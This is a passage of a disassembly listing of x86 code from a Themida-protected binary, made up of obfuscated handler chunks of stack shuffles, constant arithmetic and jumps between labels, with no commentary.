		mov	eax, 1BCE1C49h
		add	eax, 0E431E3B8h
		jmp	loc_551CEE
; ---------------------------------------------------------------------------


loc_55CC53:				; CODE XREF: Themida_:0055301Cj
		mov	esi, 294D3DC1h
		shr	esi, 6
		jmp	loc_55A2FD
; ---------------------------------------------------------------------------


loc_55CC60:				; CODE XREF: Themida_:00555F4Aj
		mov	esi, 4
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_556FF8
; ---------------------------------------------------------------------------


loc_55CC6F:				; CODE XREF: Themida_:0055822Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	14FFh
		mov	[esp], eax
		push	esp
		jmp	loc_55A2C6
; ---------------------------------------------------------------------------


loc_55CC84:				; CODE XREF: Themida_:00557A90j
		dec	edx
		xor	edx, 0DC7391D2h
		sub	eax, edx
		pop	edx
		pop	ecx
		jmp	loc_55736D
; ---------------------------------------------------------------------------


loc_55CC94:				; CODE XREF: Themida_:0055B285j
		sub	bl, 0E7h
		sub	bl, dh
		add	bl, 0E7h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55C724
; ---------------------------------------------------------------------------


loc_55CCA5:				; CODE XREF: Themida_:0055A079j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55C043
; ---------------------------------------------------------------------------


loc_55CCB1:				; CODE XREF: Themida_:00558E4Cj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_559F85
; ---------------------------------------------------------------------------


loc_55CCC2:				; CODE XREF: Themida_:00551F4Cj
		push	5121h
		mov	[esp], eax
		mov	eax, 363F3CE2h
		push	13AD2554h
		pop	edx
		add	edx, eax
		jmp	loc_553F58
; ---------------------------------------------------------------------------


loc_55CCDC:				; CODE XREF: Themida_:0055330Aj
		pop	ecx
		add	[edi+20h], ecx
		pop	ecx


loc_55CCE1:				; CODE XREF: Themida_:005580C0j
					; Themida_:00558DCCj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	2F46h
		mov	[esp], eax
		jmp	loc_553F37
; ---------------------------------------------------------------------------


loc_55CCFA:				; CODE XREF: Themida_:0055AA29j
		mov	[esp], eax
		push	edx
		jmp	loc_5565D9
; ---------------------------------------------------------------------------


loc_55CD03:				; CODE XREF: Themida_:00559C2Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55389E
; ---------------------------------------------------------------------------


loc_55CD0C:				; CODE XREF: Themida_:00557223j
		pop	ecx
		add	esp, 4
		push	esi
		jmp	loc_55AD11
; ---------------------------------------------------------------------------


loc_55CD16:				; CODE XREF: Themida_:0055DE6Fj
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_557756
; ---------------------------------------------------------------------------


loc_55CD27:				; CODE XREF: Themida_:00556906j
		pop	edx
		jmp	loc_55B9B8
; ---------------------------------------------------------------------------


loc_55CD2D:				; CODE XREF: Themida_:0055D8FEj
		pop	esp
		sub	edx, 6D14791Bh
		sub	edx, 7AD2721Bh
		jmp	loc_553A97
; ---------------------------------------------------------------------------


loc_55CD3F:				; CODE XREF: Themida_:00556791j
		add	ebx, edx
		sub	ebx, 4D5040C1h
		add	ebx, 66081878h
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_552B30
; ---------------------------------------------------------------------------


loc_55CD5E:				; CODE XREF: Themida_:0055B326j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_552FDD
; ---------------------------------------------------------------------------


loc_55CD6F:				; CODE XREF: Themida_:0055C9A8j
		sub	dword ptr [esp+4], 35CF0B58h
		add	[esp+4], eax
		add	dword ptr [esp+4], 35CF0B58h
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5575BD
; ---------------------------------------------------------------------------


loc_55CD94:				; CODE XREF: Themida_:0055763Fj
		pop	ebx
		and	ecx, ebx
		pop	ebx
		shl	ecx, 2
		jmp	loc_55C8B4
; ---------------------------------------------------------------------------


loc_55CDA0:				; CODE XREF: Themida_:0055A56Dj
		mov	ah, 90h
		sub	cl, ah
		mov	eax, [esp]
		add	esp, 4
		add	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	dl, 6Ch
		push	bx
		mov	bl, al
		jmp	loc_5550D8
; ---------------------------------------------------------------------------


loc_55CDC4:				; CODE XREF: Themida_:0055B496j
		mov	[esp], cx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55CDCD:				; CODE XREF: Themida_:0055C565j
		xor	esi, 15A66DFh
		or	esi, 32B66383h
		add	esi, 0D1C91220h
		xor	ecx, esi
		jmp	loc_55AF47
; ---------------------------------------------------------------------------


loc_55CDE6:				; CODE XREF: Themida_:00553E05j
		shl	ebx, 4
		sub	ebx, 576B7294h
		push	464Bh
		mov	[esp], ebp
		mov	ebp, 1C621D36h
		or	ebx, ebp
		pop	ebp
		sub	ebx, 0FE7BFFFAh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_554CD0
; ---------------------------------------------------------------------------


loc_55CE12:				; CODE XREF: Themida_:0055494Aj
		xor	dl, 4Eh
		jmp	loc_555570
; ---------------------------------------------------------------------------


loc_55CE1A:				; CODE XREF: Themida_:0055323Fj
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 0F587557h
		push	7D52h
		mov	[esp], eax
		mov	eax, 3FEC4A6Bh
		sub	eax, 0DDC0C45h
		jmp	loc_559E6E
; ---------------------------------------------------------------------------


loc_55CE41:				; CODE XREF: Themida_:00553889j
		push	edx
		jmp	loc_55C9AD
; ---------------------------------------------------------------------------


loc_55CE47:				; CODE XREF: Themida_:0055A26Bj
		mov	eax, [edx]
		jmp	loc_5578D4
; ---------------------------------------------------------------------------


loc_55CE4E:				; CODE XREF: Themida_:0055A109j
		test	ecx, eax
		pushf
		jmp	loc_553F32
; ---------------------------------------------------------------------------


loc_55CE56:				; CODE XREF: Themida_:005553A7j
		mov	esp, [esp]
		imul	cx
		push	790Dh
		jmp	loc_55BF26
; ---------------------------------------------------------------------------


loc_55CE66:				; CODE XREF: Themida_:0055A57Cj
		sub	esp, 4
		jmp	loc_55DE97
; ---------------------------------------------------------------------------


loc_55CE71:				; CODE XREF: Themida_:0055BB5Cj
		push	edx
		push	ebp
		mov	ebp, 6B2D5404h
		mov	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 67971A6Eh
		xor	ebp, 0CBA4E6Eh
		xor	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 64F520A8h
		add	edi, 511761DCh
		not	edi
		jmp	loc_556D14
; ---------------------------------------------------------------------------


loc_55CE9D:				; CODE XREF: Themida_:005559CFj
		sub	esp, 4
		jmp	loc_559B2E
; ---------------------------------------------------------------------------


loc_55CEA8:				; CODE XREF: Themida_:0055DB3Ej
		mov	ax, [esp]
		push	1145h
		mov	[esp], ebx
		sub	esp, 4
		push	513Bh
		jmp	loc_55B5B6
; ---------------------------------------------------------------------------


loc_55CEC4:				; CODE XREF: Themida_:0055522Ej
		mov	eax, 5DA74A0Dh
		inc	eax
		jmp	loc_55C0C0
; ---------------------------------------------------------------------------


loc_55CECF:				; CODE XREF: Themida_:00558F96j
		add	eax, 536C3773h
		sub	eax, ebp
		sub	eax, 536C3773h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		push	esi
		jmp	loc_559CE7
; ---------------------------------------------------------------------------


loc_55CEEC:				; CODE XREF: Themida_:00559001j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 22BD1F13h
		sub	ebx, 207E3C40h
		inc	ebx
		shl	ebx, 1
		sub	ebx, 47DC5A4h
		jmp	loc_557FBE
; ---------------------------------------------------------------------------


loc_55CF0E:				; CODE XREF: Themida_:0055D79Ej
		add	esp, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55474F
; ---------------------------------------------------------------------------


loc_55CF25:				; CODE XREF: Themida_:00554804j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55CF3A:				; CODE XREF: Themida_:0055B234j
		xor	eax, 8CE1D7CCh
		add	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		sub	esi, 2
		push	51D8h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55CF6D:				; CODE XREF: Themida_:0055AF28j
		push	edx
		mov	dl, bl
		mov	cl, dl
		jmp	loc_557A9E
; ---------------------------------------------------------------------------


loc_55CF77:				; CODE XREF: Themida_:0055A63Ej
		mov	esp, [esp]
		jmp	loc_5539B4
; ---------------------------------------------------------------------------


loc_55CF7F:				; CODE XREF: Themida_:0055CAEEj
		pop	esi
		xor	ebp, 14E759F7h
		xor	ebp, 45665DF3h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_554B7C
; ---------------------------------------------------------------------------


loc_55CF9B:				; CODE XREF: Themida_:0055C50Bj
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		mov	cl, 49h
		jmp	loc_554BB7
; ---------------------------------------------------------------------------


loc_55CFC0:				; CODE XREF: Themida_:0055302Aj
		shl	ebx, 5
		sub	ebx, 49B5714Bh
		inc	ebx
		sub	ebx, 0E7BD2952h
		sub	eax, ebx
		pop	ebx
		sub	ebx, eax
		pop	eax
		xor	edx, eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		xor	[esp], dx
		xor	dx, [esp]
		xor	[esp], dx
		sub	esp, 2
		mov	[esp], dx
		xchg	di, [esp]
		push	di
		push	dx
		pop	di
		jmp	loc_5564B1
; ---------------------------------------------------------------------------


loc_55D002:				; CODE XREF: Themida_:00557253j
		xor	al, bl
		push	dword ptr [esp]
		jmp	loc_5549B1
; ---------------------------------------------------------------------------


loc_55D00C:				; CODE XREF: Themida_:00559190j
		pop	ebx
		jmp	loc_55B8F8
; ---------------------------------------------------------------------------


loc_55D012:				; CODE XREF: Themida_:0055655Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557EA2
; ---------------------------------------------------------------------------


loc_55D01F:				; CODE XREF: Themida_:0055B006j
		sub	ch, dh
		pop	edx
		and	ch, 6Dh
		sub	ch, 4Fh
		mov	bl, ch
		jmp	loc_55873F
; ---------------------------------------------------------------------------


loc_55D02F:				; CODE XREF: Themida_:0055D81Aj
		xor	edi, 0B3B81670h
		mov	ebp, edi
		jmp	loc_551E49
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		push	edx
		mov	dh, 0DDh
		mov	cl, dh
		pop	edx
		push	edx
		push	eax
		mov	al, 27h
		mov	dl, 6
		xor	dl, al
		pop	eax
		shr	dl, 8
		add	dl, 9Dh
		xor	cl, dl
		pop	edx
		push	small 679Ah
		mov	[esp], bx
		mov	bl, 21h
		add	cl, 5Ah
		jmp	loc_55D24A
; ---------------------------------------------------------------------------


loc_55D06A:				; CODE XREF: Themida_:00556EE0j
		push	ebp
		jmp	loc_55DAB9
; ---------------------------------------------------------------------------


loc_55D070:				; CODE XREF: Themida_:00552464j
		mov	[esp], ebx
		push	136B67F1h
		pop	ebx
		push	edx
		mov	edx, 9B54C76h
		shl	edx, 5
		xor	edx, 5047955Fh
		jmp	loc_552B68
; ---------------------------------------------------------------------------


loc_55D08D:				; CODE XREF: Themida_:005543C8j
		add	ecx, 2
		push	ecx
		jmp	loc_55B271
; ---------------------------------------------------------------------------


loc_55D096:				; CODE XREF: Themida_:005589E7j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5527C0
; ---------------------------------------------------------------------------


loc_55D0A0:				; CODE XREF: Themida_:0055D60Fj
		sub	ecx, 4
		jmp	loc_5524C2
; ---------------------------------------------------------------------------


loc_55D0AB:				; CODE XREF: Themida_:0055A9C8j
		sub	ebp, 82E3800Bh
		jmp	loc_551D45
; ---------------------------------------------------------------------------


loc_55D0B6:				; CODE XREF: Themida_:0055506Fj
		pop	dx
		neg	ch
		sub	ch, 0FFh
		xor	ch, 48h
		sub	al, ch
		pop	ecx
		xor	bl, al
		jmp	loc_556090
; ---------------------------------------------------------------------------


loc_55D0CA:				; CODE XREF: Themida_:00559C09j
		push	eax
		mov	eax, 399A1244h
		sub	esi, eax
		jmp	loc_5588A3
; ---------------------------------------------------------------------------


loc_55D0D7:				; CODE XREF: Themida_:00553CAEj
		pop	edi
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 6ECA648Fh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558F26
; ---------------------------------------------------------------------------


loc_55D0F0:				; CODE XREF: Themida_:0055BD77j
		shr	esi, 2
		dec	esi
		shr	esi, 4
		jmp	loc_552270
; ---------------------------------------------------------------------------


loc_55D0FC:				; CODE XREF: Themida_:00552DD6j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55D101:				; CODE XREF: Themida_:005584BCj
		add	ebx, 4A0F45A7h
		jmp	loc_552C8C
; ---------------------------------------------------------------------------


loc_55D10C:				; CODE XREF: Themida_:00553F48j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 16F85D7Ah
		neg	ebp
		push	eax
		jmp	loc_554B0C
; ---------------------------------------------------------------------------


loc_55D120:				; CODE XREF: Themida_:0055BC9Fj
		pop	edi
		push	eax
		jmp	loc_55937C
; ---------------------------------------------------------------------------


loc_55D127:				; CODE XREF: Themida_:0055D87Ej
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 0B6432D3h
		jmp	loc_55A24D
; ---------------------------------------------------------------------------


loc_55D138:				; CODE XREF: Themida_:00551C7Ej
		add	ecx, edi
		pop	edi
		mov	ebx, 0CE2ABB80h
		jmp	loc_559742
; ---------------------------------------------------------------------------


loc_55D145:				; CODE XREF: Themida_:00555690j
		shr	ebp, 5
		jmp	loc_553541
; ---------------------------------------------------------------------------


loc_55D14D:				; CODE XREF: Themida_:0055BBC3j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558DD1
; ---------------------------------------------------------------------------


loc_55D161:				; CODE XREF: Themida_:00552B2Bj
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_553388
; ---------------------------------------------------------------------------


loc_55D176:				; CODE XREF: Themida_:005543CFj
		push	ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55C6B4
; ---------------------------------------------------------------------------


loc_55D195:				; CODE XREF: Themida_:00556F69j
		mov	[esp], ebx
		mov	bh, 9Eh
		shl	bh, 6
		push	eax
		jmp	loc_55D96C
; ---------------------------------------------------------------------------


loc_55D1A3:				; CODE XREF: Themida_:00552478j
		push	edi
		jmp	loc_55A276
; ---------------------------------------------------------------------------


loc_55D1A9:				; CODE XREF: Themida_:005521F5j
		push	eax
		jmp	loc_55299A
; ---------------------------------------------------------------------------


loc_55D1AF:				; CODE XREF: Themida_:0055BFDFj
		mov	edi, 64E26F06h
		jmp	loc_55798D
; ---------------------------------------------------------------------------


loc_55D1B9:				; CODE XREF: Themida_:00555686j
		pop	ebx
		push	1189h
		mov	[esp], ebx
		jmp	loc_55A296
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55D429
; ---------------------------------------------------------------------------


loc_55D1E8:				; CODE XREF: Themida_:00552D2Dj
		inc	dl
		push	small 0
		sub	byte ptr [esp],	0ECh
		sub	[esp], dl
		add	byte ptr [esp],	0ECh
		mov	dl, [esp]
		push	ebp
		jmp	loc_552C57
; ---------------------------------------------------------------------------


loc_55D202:				; CODE XREF: Themida_:0055A964j
		add	edi, 0FFFFFFFFh
		shl	edi, 7
		neg	edi
		push	ebp
		push	eax
		jmp	loc_557CE7
; ---------------------------------------------------------------------------


loc_55D214:				; CODE XREF: Themida_:0055BD45j
		sub	cl, bl
		jmp	loc_55B944
; ---------------------------------------------------------------------------


loc_55D21B:				; CODE XREF: Themida_:0055A8EDj
		add	eax, esi
		jmp	loc_559BDF
; ---------------------------------------------------------------------------


loc_55D222:				; CODE XREF: Themida_:005590A0j
		mov	edi, esp
		push	3BBAh
		mov	[esp], esi
		jmp	loc_55C908
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55D23A:				; CODE XREF: Themida_:00558B1Cj
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 40A93D49h
		jmp	loc_557FFD
; ---------------------------------------------------------------------------


loc_55D24A:				; CODE XREF: Themida_:0055D065j
		sub	cl, bl
		sub	cl, 5Ah
		jmp	loc_5549CC
; ---------------------------------------------------------------------------


loc_55D254:				; CODE XREF: Themida_:00555EB7j
		mov	edi, 2AEC353Fh
		shr	edi, 4
		inc	edi
		shl	edi, 7
		sub	edi, 0E24B76B1h
		jmp	loc_55C6AE
; ---------------------------------------------------------------------------


loc_55D26B:				; CODE XREF: Themida_:005520C7j
		inc	ebp
		push	edx
		mov	edx, 210B0C72h
		and	ebp, edx
		pop	edx
		push	esi
		mov	esi, 530D15AEh
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebp, 317F2453h
		xor	ebp, 5A751C4Ah
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_559B84
; ---------------------------------------------------------------------------


loc_55D29A:				; CODE XREF: Themida_:00557E42j
		mov	esi, [esp]
		add	esp, 4
		xor	eax, edi
		jmp	loc_552F09
; ---------------------------------------------------------------------------


loc_55D2AA:				; CODE XREF: Themida_:00555F94j
		neg	ebx
		sub	ebx, 65557335h
		shl	ebx, 3
		jmp	loc_558151
; ---------------------------------------------------------------------------


loc_55D2BA:				; CODE XREF: Themida_:0055B38Bj
		xor	eax, edi
		pop	edi
		push	edx
		mov	edx, 5E9951D4h
		add	ebx, edx
		jmp	loc_5584B5
; ---------------------------------------------------------------------------


loc_55D2CA:				; CODE XREF: Themida_:005544DFj
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553061
; ---------------------------------------------------------------------------


loc_55D2E6:				; CODE XREF: Themida_:00557EB5j
		push	ebx
		jmp	loc_554074
; ---------------------------------------------------------------------------


loc_55D2EC:				; CODE XREF: Themida_:0055CBC5j
		mov	ecx, 0A494A7C8h
		add	ebx, ecx
		pop	ecx
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, esi
		pop	esi
		push	ebx
		push	ecx
		mov	ecx, 7282061Eh
		jmp	loc_5520B7
; ---------------------------------------------------------------------------


loc_55D30E:				; CODE XREF: Themida_:0055BA5Fj
		mov	eax, [esp]
		jmp	loc_559646
; ---------------------------------------------------------------------------


loc_55D316:				; CODE XREF: Themida_:0055AF42j
		add	edi, ebp
		add	edi, 4C107046h
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		jmp	loc_555943
; ---------------------------------------------------------------------------


loc_55D33C:				; CODE XREF: Themida_:005547E3j
		pop	ebx
		push	small 6D6Ah
		mov	[esp], bx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	dx, 152Eh
		jmp	loc_5560DB
; ---------------------------------------------------------------------------


loc_55D364:				; CODE XREF: Themida_:00552D9Cj
		sub	ebx, 5801498h
		pop	ebp
		push	eax
		mov	eax, 2
		jmp	loc_556B65
; ---------------------------------------------------------------------------


loc_55D376:				; CODE XREF: Themida_:00551B75j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		dec	ah
		mov	dl, ah
		pop	ax
		push	edx
		not	byte ptr [esp]
		pop	edx
		jmp	loc_558A61
; ---------------------------------------------------------------------------


loc_55D396:				; CODE XREF: Themida_:0055BE0Dj
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_558B56
; ---------------------------------------------------------------------------


loc_55D3C1:				; CODE XREF: Themida_:0055824Dj
		pop	esp
		mov	[esp], ebx
		mov	bh, dl
		push	edx
		mov	dl, bh
		mov	ch, dl
		pop	edx
		jmp	loc_552A17
; ---------------------------------------------------------------------------


loc_55D3D2:				; CODE XREF: Themida_:00555A7Bj
		push	5FF4h
		mov	[esp], eax
		mov	ah, 0D8h
		jmp	loc_559AE5
; ---------------------------------------------------------------------------


loc_55D3E1:				; CODE XREF: Themida_:0055452Aj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55D3E6:				; CODE XREF: Themida_:0055BACCj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5540A1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_551A75
; ---------------------------------------------------------------------------


loc_55D40C:				; CODE XREF: Themida_:00559DEAj
		pop	edx
		xor	edx, 6F4F2BAEh
		mov	eax, edx
		pop	edx
		jmp	loc_55A377
; ---------------------------------------------------------------------------


loc_55D41B:				; CODE XREF: Themida_:0055264Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C5B7
; ---------------------------------------------------------------------------


loc_55D429:				; CODE XREF: Themida_:0055D1E3j
		mov	[esp], esi
		mov	esi, 7DCE412Ch
		mov	ebx, esi
		pop	esi
		xchg	edx, ebx
		jmp	loc_5565D0
; ---------------------------------------------------------------------------


loc_55D43B:				; CODE XREF: Themida_:005562D2j
		xor	ecx, 86A4C99Ah
		mov	edi, ecx
		pop	ecx
		shl	edi, 5
		shl	edi, 8
		and	edi, 19D02CEBh
		push	ecx
		mov	ecx, 6FD929ECh
		neg	ecx
		xor	ecx, 4B732617h
		xor	ecx, 79C60130h
		add	ecx, 865830E6h
		jmp	loc_552C49
; ---------------------------------------------------------------------------


loc_55D46F:				; CODE XREF: Themida_:00559F95j
		push	edx
		push	7458h
		mov	[esp], esi
		mov	esi, 3D822B20h
		xchg	ebx, esi
		dec	ebx
		xchg	ebx, esi
		jmp	loc_556CB8
; ---------------------------------------------------------------------------


loc_55D487:				; CODE XREF: Themida_:0055A3E8j
		push	683Fh
		mov	[esp], esi
		mov	esi, 5C94549Eh
		or	eax, esi
		pop	esi
		add	eax, 776AF919h
		sub	ecx, 362475ADh
		add	ecx, 0EAA2192h
		sub	ecx, eax
		sub	ecx, 0EAA2192h
		add	ecx, 362475ADh
		pop	eax
		neg	ecx
		add	ecx, 0D347656Ch
		add	edx, 62141AD6h
		jmp	loc_55702F
; ---------------------------------------------------------------------------


loc_55D4CA:				; CODE XREF: Themida_:0055255Ej
		sub	edx, 0F05527Eh
		add	edx, edi
		add	edx, 0F05527Eh
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_556350
; ---------------------------------------------------------------------------


loc_55D4E2:				; CODE XREF: Themida_:005597C5j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_555074
; ---------------------------------------------------------------------------


loc_55D4EB:				; CODE XREF: Themida_:00559176j
		xor	edi, 6BED7FF9h
		sub	edi, 217E4EFBh
		shr	edi, 3
		not	edi
		jmp	loc_554E55
; ---------------------------------------------------------------------------


loc_55D501:				; CODE XREF: Themida_:0055D987j
		mov	esi, 3A3A3F48h
		and	esi, 3850670Dh
		jmp	loc_55AC44
; ---------------------------------------------------------------------------


loc_55D511:				; CODE XREF: Themida_:00556963j
		push	ecx
		mov	ecx, 7D7E2A06h
		xchg	ebp, ecx
		inc	ebp
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		add	ecx, 257C6320h
		jmp	loc_555157
; ---------------------------------------------------------------------------


loc_55D52B:				; CODE XREF: Themida_:00557DE5j
		shl	ebp, 8
		push	ecx
		mov	ecx, 33092880h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5538E7
; ---------------------------------------------------------------------------


loc_55D53C:				; CODE XREF: Themida_:0055AFDAj
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_551EB4
; ---------------------------------------------------------------------------


loc_55D548:				; CODE XREF: Themida_:0055524Cj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3F0F00F0h
		jmp	loc_55AA00
; ---------------------------------------------------------------------------


loc_55D55B:				; CODE XREF: Themida_:0055B773j
		add	esi, 853242Bh
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_55B836
; ---------------------------------------------------------------------------


loc_55D574:				; CODE XREF: Themida_:0055A92Ej
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edi
		jmp	loc_556778
; ---------------------------------------------------------------------------


loc_55D588:				; CODE XREF: Themida_:0055DFB1j
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 36A2h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55AB27
; ---------------------------------------------------------------------------


loc_55D5A5:				; CODE XREF: Themida_:00551C35j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55D5AA:				; CODE XREF: Themida_:00557E8Ej
		push	2454h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_552C51
; ---------------------------------------------------------------------------


loc_55D5BF:				; CODE XREF: Themida_:005591CEj
		shl	ebx, 3
		xor	ebx, 0EF1773BAh
		jmp	loc_55554F
; ---------------------------------------------------------------------------


loc_55D5CD:				; CODE XREF: Themida_:0055BFD1j
		pop	eax
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D937
; ---------------------------------------------------------------------------


loc_55D5DF:				; CODE XREF: Themida_:00558867j
		add	eax, esi
		jmp	loc_55291F
; ---------------------------------------------------------------------------


loc_55D5E6:				; CODE XREF: Themida_:00552AF6j
		add	[esp+4], esi
		add	dword ptr [esp+4], 7286231Fh
		jmp	loc_558252
; ---------------------------------------------------------------------------


loc_55D5F7:				; CODE XREF: Themida_:00553C83j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2B4C3EA5h
		dec	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_559A59
; ---------------------------------------------------------------------------


loc_55D60C:				; CODE XREF: Themida_:0055444Cj
		add	ecx, ebp
		pop	ebp
		jmp	loc_55D0A0
; ---------------------------------------------------------------------------


loc_55D614:				; CODE XREF: Themida_:0055BE4Aj
		or	esi, 4146104Ah
		sub	esi, 52A6B2Bh
		shl	esi, 1
		add	esi, 0DB47F946h
		add	edx, esi
		pop	esi
		pop	edi
		push	edi
		jmp	loc_55364E
; ---------------------------------------------------------------------------


loc_55D632:				; CODE XREF: Themida_:00557AF2j
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		pop	eax
		sub	edx, 5D966BDBh
		add	edx, ecx
		add	edx, 5D966BDBh
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_55976C
; ---------------------------------------------------------------------------


loc_55D655:				; CODE XREF: Themida_:00558964j
		add	edx, ebp
		pop	ebp
		push	dword ptr [edx]
		xor	dword ptr [esp], 4B3E338Bh
		jmp	loc_55509C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_559A11
; ---------------------------------------------------------------------------


loc_55D674:				; CODE XREF: Themida_:00552551j
		sub	esi, 58EE761h
		sub	edi, 7FB67109h
		add	edi, esi
		add	edi, 7FB67109h
		jmp	loc_555FE0
; ---------------------------------------------------------------------------


loc_55D68D:				; CODE XREF: Themida_:00558C65j
		add	bx, 5B61h
		sub	bx, ax
		push	3E6Ah
		mov	[esp], ebp
		mov	bp, 64C6h
		and	bp, 248Fh
		sub	bp, 0C925h
		sub	bx, bp
		jmp	loc_554EEB
; ---------------------------------------------------------------------------


loc_55D6B3:				; CODE XREF: Themida_:005552FDj
		pop	esp
		mov	[esp], edx
		jmp	loc_555548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55D6BC:				; CODE XREF: sub_55656B-117j
		pop	ebx
		xor	cl, ah
		jmp	loc_556766
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55D6C4:				; CODE XREF: Themida_:0055236Bj
		sub	[esp], eax
		jmp	loc_553326
